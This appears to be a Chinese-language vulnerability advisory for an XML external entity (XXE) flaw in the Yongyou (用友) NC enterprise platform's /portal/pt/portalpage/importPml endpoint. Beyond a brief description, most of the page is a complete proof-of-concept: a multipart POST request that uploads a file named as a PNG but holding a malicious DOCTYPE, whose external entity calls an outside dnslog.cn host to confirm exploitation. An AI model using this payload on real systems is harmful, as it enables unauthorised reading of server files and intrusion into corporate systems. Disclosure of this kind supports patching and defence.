用友 NC /portal/pt/portalpage/importPml XML 外部实体注入漏洞

2026-03-13 用友NC PoC Public

Description

用友NC系统是用友面向大型集团企业推出的高端管理软件平台，基于J2EE架构和自研UAP平台构建，提供全球化集团管控、全产业链协同及动态企业建模能力。 /portal/pt/portalpage/importPml接口存在 XML 外部实体注入（XXE）漏洞，攻击者可以通过该漏洞读取服务器上的敏感文件或执行其他恶意操作，从而对系统的安全性造成威胁。

PoC

POST /portal/pt/portalpage/importPml?pageId=login HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybXJ4bi5uZXQ
Content-Length: 292
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

------WebKitFormBoundarybXJ4bi5uZXQ
Content-Disposition: form-data; name="file"; filename="1.png"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://tz1wqu.dnslog.cn">
]>
<root>
  <TextResult>&xxe;</TextResult>
</root>
------WebKitFormBoundarybXJ4bi5uZXQ--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Yongyou NC /portal/pt/portalpage/importPml XML External Entity Injection Vulnerability

References

Related Vulnerabilities